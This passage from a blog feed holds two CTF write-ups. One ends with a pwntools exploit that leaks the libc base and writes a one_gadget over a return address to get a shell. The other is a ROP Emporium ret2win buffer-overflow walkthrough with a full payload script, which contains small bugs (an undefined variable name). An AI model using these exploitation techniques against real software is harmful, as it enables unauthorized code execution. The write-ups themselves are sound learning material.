    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at these coordinates: '</span><span class="p">)</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">addr</span> 
<span class="n">libc_addr</span> <span class="o">=</span> <span class="n">print_target</span><span class="p">(</span><span class="sa">b</span><span class="s">'13'</span><span class="p">)</span>

<span class="n">libc_start_main</span> <span class="o">=</span> <span class="n">libc_addr</span> <span class="o">-</span> <span class="mi">243</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_start_main</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span>
</code></pre></div></div>

<p>Now that we have our libc base address we can look to overwrite the return address of the <code class="language-plaintext highlighter-rouge">performAction()</code> function to point to our potential <code class="language-plaintext highlighter-rouge">one_gadget</code>. Based on the above stack layout, if we’re treating the first coordinate as our 0 index, the return address of <code class="language-plaintext highlighter-rouge">performAction()</code> is <code class="language-plaintext highlighter-rouge">main() + 178</code> and is located at index -3. So now we know where to send our <code class="language-plaintext highlighter-rouge">one_gadget</code>, but how do we find our <code class="language-plaintext highlighter-rouge">one_gadget</code>? Thankfully there is a tool for this! Check it out here: https://github.com/david942j/one_gadget. Running it on the libc we are given yields the following gadgets.</p>

<p><img src="one-gadgets.png" alt="" /></p>

<p>Now we can try each of these gadgets to see if they in fact spawn a shell. In order to write the address of the <code class="language-plaintext highlighter-rouge">one_gadget</code> to spawn a shell, we can write a simple function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">write_target</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">contents</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">contents</span><span class="p">)</span>
    
<span class="n">one_gadgets</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0xe6c7e</span><span class="p">,</span> <span class="mh">0xe6c81</span><span class="p">,</span> <span class="mh">0xe6c84</span><span class="p">]</span>
<span class="n">shell</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="n">one_gadgets</span><span class="p">[</span><span class="mi">1</span><span class="p">]).</span><span class="n">encode</span><span class="p">()</span>    

<span class="n">write_target</span><span class="p">(</span><span class="sa">b</span><span class="s">'-3'</span><span class="p">,</span> <span class="n">shell</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>And the second gadget worked and we get a shell! Awesome! If you want, to see why the first gadget didn’t work, you can attach GDB to the program using pwntools and break at the point the <code class="language-plaintext highlighter-rouge">one_gadget</code> is called. Then, you can inspect the registers to see what constraints are or aren’t satisfied. The final exploit script looks like this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">pwnlib</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'chall_patched'</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'./ld-2.31.so'</span><span class="p">,</span> <span class="s">'./chall_patched'</span><span class="p">])</span>
<span class="n">gdb_script</span> <span class="o">=</span> <span class="s">"""
init-pwndbg
piebase
break *performAction 
"""</span>
<span class="c1"># pwnlib.gdb.attach(p, gdb_script)
</span>
<span class="c1"># p.sendline(b'bruhwhat')
</span>
<span class="k">def</span> <span class="nf">print_target</span><span class="p">(</span><span class="n">target</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'4'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at these coordinates: '</span><span class="p">)</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">addr</span> 

<span class="k">def</span> <span class="nf">write_target</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">contents</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">contents</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'urmom'</span><span class="p">)</span>
<span class="n">libc_addr</span> <span class="o">=</span> <span class="n">print_target</span><span class="p">(</span><span class="sa">b</span><span class="s">'13'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'libc_start_main + 243 @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_addr</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">libc_start_main</span> <span class="o">=</span> <span class="n">libc_addr</span> <span class="o">-</span> <span class="mi">243</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_start_main</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Libc base @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="n">one_gadgets</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0xe6c7e</span><span class="p">,</span> <span class="mh">0xe6c81</span><span class="p">,</span> <span class="mh">0xe6c84</span><span class="p">]</span>
<span class="n">shell</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="n">one_gadgets</span><span class="p">[</span><span class="mi">1</span><span class="p">]).</span><span class="n">encode</span><span class="p">()</span>    

<span class="c1"># gdb_script = "init-pwndbg\n" + f"break *{hex(int(shell))}"
# pwnlib.gdb.attach(p, gdb_script)
</span><span class="n">write_target</span><span class="p">(</span><span class="sa">b</span><span class="s">'-3'</span><span class="p">,</span> <span class="n">shell</span><span class="p">)</span>


<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="ctf" /><category term="pwn" /><summary type="html"><![CDATA[The write-ups for these couple challenges are quite late (this CTF happened from April 21 to April 23 2023), however, I wanted to start a blog documenting my CTF write-ups.]]></summary></entry><entry><title type="html">ROP Emporium - ret2win</title><link href="https://gabri3l.net/ROP-Emporium-ret2win/" rel="alternate" type="text/html" title="ROP Emporium - ret2win" /><published>2023-05-11T00:00:00+07:00</published><updated>2023-05-11T00:00:00+07:00</updated><id>https://gabri3l.net/ROP-Emporium-ret2win</id><content type="html" xml:base="https://gabri3l.net/ROP-Emporium-ret2win/"><![CDATA[<h1 id="intro">Intro</h1>
<p>After discovering how much I enjoyed the pwn CTF category, I started looking into ways to improve my skills. The first thing that was immediately clear was just how expansive the category of binary exploitation is. From buffer overflows to heap exploitation, and everything in between, it was quite overwhelming at first. Not to mention I had very little familiarity with how computer architecture worked in the first place. As I worked to get my bearings, I discovered <a href="https://ropemporium.com">https://ropemporium.com</a>. This website contains eight challenges designed to teach the basics of a fundamental binary exploitation technique, Return Oriented Programming or ROP. Before I get into the first challenge, I would like to give a shoutout to <a href="https://www.youtube.com/channel/UCEeuul0q7C8Zs5C8rc4REFQ">CryptoCat</a> on YouTube. His videos  on these challenges helped me extensively, whether it was debugging a solution or further understanding why something worked the way it did, their help was invaluable. Without further ado, lets have a look at the first challenge, called <code class="language-plaintext highlighter-rouge">ret2win</code>.</p>

<h1 id="recon">Recon</h1>
<p>When we click on the challenge on the website, we are presented with a little introduction and some download links for various versions of the challenge. We will  solving the <code class="language-plaintext highlighter-rouge">x86-64</code> bit version in this writeup. Once the file is downloaded, we can unzip it and do some recon on the binary which is called <code class="language-plaintext highlighter-rouge">ret2win</code>. We will use a tool called <code class="language-plaintext highlighter-rouge">checksec</code>, which will analyze the binary for us to view some of its protections.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>checksec <span class="nt">--file</span><span class="o">=</span>ret2win
</code></pre></div></div>

<p>Now we know what protections are enabled on the binary. We have <code class="language-plaintext highlighter-rouge">Partial RELRO</code>, <code class="language-plaintext highlighter-rouge">No Stack Canary</code>, <code class="language-plaintext highlighter-rouge">NX Enabled</code>, and <code class="language-plaintext highlighter-rouge">No PIE</code>. No canary and no PIE will make overflowing the buffer pretty easy since there is nothing stopping us from smashing the stack and addresses will remain constant. Because NX is enabled we will not be able to execute off the stack which means no shellcode off the stack. RELRO will not come into play in this challenge. According to the challenge description, in order to get the flag read to us, we will want to find a way to either get a shell to read it ourselves, or find a way for the program to display it out to us. The description also hints at a suspiciously named function called <code class="language-plaintext highlighter-rouge">ret2win()</code>. This is a hint that perhaps by calling this function we can have the flag printed out to us.</p>

<p>In order to verify if that is the case, lets have a look at this program in GDB. I will be using a GDB plugin called <code class="language-plaintext highlighter-rouge">pwndbg</code> which adds some extra features. It can be checked out <a href="https://github.com/pwndbg/pwndbg">here</a>. Once we load the binary into GDB, we can have a look at the functions with <code class="language-plaintext highlighter-rouge">info functions</code>.</p>

<p><img src="pwndbg output.png" alt="Functions" /></p>

<p>Notable functions include a <code class="language-plaintext highlighter-rouge">main()</code> function, a <code class="language-plaintext highlighter-rouge">pwnme()</code> function, and a <code class="language-plaintext highlighter-rouge">ret2win()</code> function. Let’s have a look inside these functions using GDB’s disassemble functionality to try and get a good gauge of how this program is layed out. Let’s start with the <code class="language-plaintext highlighter-rouge">main()</code> function. To disassemble a function in GDB we can use <code class="language-plaintext highlighter-rouge">disassemble main</code>.</p>

<p><img src="main_disassembly.png" alt="main disassembly" /></p>

<p>Looking at the <code class="language-plaintext highlighter-rouge">main()</code> function, we can see that it calls several functions, namely <code class="language-plaintext highlighter-rouge">setvbuf()</code>, <code class="language-plaintext highlighter-rouge">puts()</code>, and the <code class="language-plaintext highlighter-rouge">pwnme()</code> function. Nothing seems overtly exploitable here, but the notable thing is that this main function is calling <code class="language-plaintext highlighter-rouge">pwnme()</code>. This must be where our vulnerability is, as the name of the function would suggest. Let’s have a look at that function next.</p>

<p><img src="pwnme disassembly.png" alt="pwnme disassembly" /></p>

<p>Several things are happening here, most notably there is a call to <code class="language-plaintext highlighter-rouge">read()</code>. Now we can step back a bit and make a few infrences. When we run the program, it tells us the following:</p>

<p><img src="running program.png" alt="running program" /></p>

<p>This must mean that the <code class="language-plaintext highlighter-rouge">read()</code> function is allowing us to read in 56 bytes while only allocating 32 bytes of stack space which would allow us to smash the stack and gain control of the program execution. So, now that we know we have control over the execution of the program, what next? Well we know we have to have the flag printed out to us somehow so let’s hop back into GDB and have a look at that <code class="language-plaintext highlighter-rouge">ret2win()</code> function.</p>

<p><img src="ret2win disassembly.png" alt="ret2win disassembly.png" /></p>

<p>We can see that the <code class="language-plaintext highlighter-rouge">ret2win()</code> function is calling system with an argument located at <code class="language-plaintext highlighter-rouge">0x400943</code>. Remember as per x86-64 calling conventions the first argument for functions called is stored in the <code class="language-plaintext highlighter-rouge">rdi</code> register and we can see an argument being moved into the <code class="language-plaintext highlighter-rouge">edi</code> register just before system is called, which is the lower order version of the <code class="language-plaintext highlighter-rouge">rdi</code>. What could that argument be? Judging from the name of the challenge and the description, it could be something like <code class="language-plaintext highlighter-rouge">cat flag.txt</code> or <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Either of these would allow us to read the flag.</p>

<p>So, now we know that we have control over the programs execution via a buffer overflow and we need to call <code class="language-plaintext highlighter-rouge">ret2win()</code> to (hopefully) print out the flag.</p>

<h1 id="exploitation">Exploitation</h1>
<p>The goal of our exploit will be to overflow the buffer just enough to gain control of the <code class="language-plaintext highlighter-rouge">rip</code>, which is the register that holds the address of the current instruction the program is executing. If we can overwrite <code class="language-plaintext highlighter-rouge">rip</code> with, lets say the address of the <code class="language-plaintext highlighter-rouge">ret2win()</code> function, we can control program execution to call <code class="language-plaintext highlighter-rouge">ret2win()</code> which was never meant to be called. We will use the principle called ROP (duh) which means we will leverage the control of return addresses to redirect the execution of the program to where we want it. So now we know two things; we will need to overflow the buffer enough to control <code class="language-plaintext highlighter-rouge">rip</code> and we will need the address of <code class="language-plaintext highlighter-rouge">ret2win()</code>. Now, lets solve this challenge!</p>

<p>To find out how many characters we will need to gain control of the <code class="language-plaintext highlighter-rouge">rip</code>, we can use <code class="language-plaintext highlighter-rouge">pwndbg</code> to generate a De Bruijn sequence with the command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cyclic 50
</code></pre></div></div>

<p>The nature of the De Bruijn sequence means that we can find out how many characters there are up to a certain point in the sequence. This means we will be able to pass this into the program, watch it segfault, and then pinpoint exactly how many characters of input it takes to reach the <code class="language-plaintext highlighter-rouge">rip</code>. Let’s have a look at this in GDB.</p>

<p>After entering in our cyclic pattern, we can see that the program crashed! We can see GDB’s output below.</p>

<p><img src="Crashed program.png" alt="Crashed program.png" /></p>

<p>From our cyclic pattern we can see that part of our pattern was left in the <code class="language-plaintext highlighter-rouge">rip</code>! This is exactly what we wanted. To find out how many characters it took, we can do:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>cyclic <span class="nt">-l</span> faaaaaaa
</code></pre></div></div>

<p>This returns 40, which means that it took 40 characters to overflow the buffer and leak into <code class="language-plaintext highlighter-rouge">rip</code>. Ultimately we will need to send in 40 characters to overflow the buffer right up to we get to <code class="language-plaintext highlighter-rouge">rip</code>, and then pass in the address of <code class="language-plaintext highlighter-rouge">ret2win()</code> so that we can successfully redirect program execution to that function. We can now start crafting an exploit script. I will be using a popular python library for pwn challenges called <code class="language-plaintext highlighter-rouge">pwntools</code>. It comes with some amazing functionality to exploit these types of challenges. This challenge will only be scratching the surface.</p>

<p>First we will import the pwn tools library and define our binary. We will use <code class="language-plaintext highlighter-rouge">context.binary</code> so that pwntools knows its an x86-64 binary and it take care of things like endianness for us. We will use an <code class="language-plaintext highlighter-rouge">ELF()</code> object so that pwntools can access all of the symbols and such for our binary.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ret2win"</span><span class="p">)</span>
</code></pre></div></div>

<p>Next we will define a couple more things. We will make our binary a process so that pwntools can run it and send input in, and we will define our offset.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>
</code></pre></div></div>

<p>Then we can make note of the address of our <code class="language-plaintext highlighter-rouge">ret2win()</code> function. This address can be obtained from GDB, just like we were doing before.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ret2win</span> <span class="o">=</span> <span class="mh">0x400756</span>
</code></pre></div></div>

<p>Now we can now construct our payload. We can send in 40 a’s to smash the stack just enough and then send in the address of our <code class="language-plaintext highlighter-rouge">ret2win()</code> function so that <code class="language-plaintext highlighter-rouge">rip</code> will point to the <code class="language-plaintext highlighter-rouge">ret2win</code> function. To do this we will use the <code class="language-plaintext highlighter-rouge">flat()</code> function so that our payload will be converted into bytes. Since we specified the context of the binary, pwntools will automatically send our payload in the proper endianness and pad to the proper address size.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
	<span class="n">offset</span> <span class="o">*</span> <span class="s">'a'</span><span class="p">,</span>
	<span class="n">ret2win</span>
<span class="p">])</span>
</code></pre></div></div>

<p>Then we can send this to the program/process using the line:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>

<p>Finally we can use interactive mode to view any output that the program spit back at us. Like our flag!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Our final payload will look something like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ret2win"</span><span class="p">)</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">40</span>

<span class="n">ret2win</span> <span class="o">=</span> <span class="mh">0x400756</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
	<span class="n">offset</span> <span class="o">*</span> <span class="sa">b</span><span class="s">'A'</span><span class="p">,</span>
	<span class="n">ret2win_func</span>
	<span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Once we run this script, we should get the flag!</p>

<p><img src="final output.png" alt="final output" /></p>

<p>And we do!</p>

<p>This was the first of the ROP Emporium challenges. These challenges were very fun to solve and really helped me learn more about binary exploitation. Hope you enjoyed!</p>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="ropemporium" /><summary type="html"><![CDATA[Intro After discovering how much I enjoyed the pwn CTF category, I started looking into ways to improve my skills. The first thing that was immediately clear was just how expansive the category of binary exploitation is. From buffer overflows to heap exploitation, and everything in between, it was quite overwhelming at first. Not to mention I had very little familiarity with how computer architecture worked in the first place. As I worked to get my bearings, I discovered https://ropemporium.com. This website contains eight challenges designed to teach the basics of a fundamental binary exploitation technique, Return Oriented Programming or ROP. Before I get into the first challenge, I would like to give a shoutout to CryptoCat on YouTube. His videos on these challenges helped me extensively, whether it was debugging a solution or further understanding why something worked the way it did, their help was invaluable. Without further ado, lets have a look at the first challenge, called ret2win.]]></summary></entry></feed>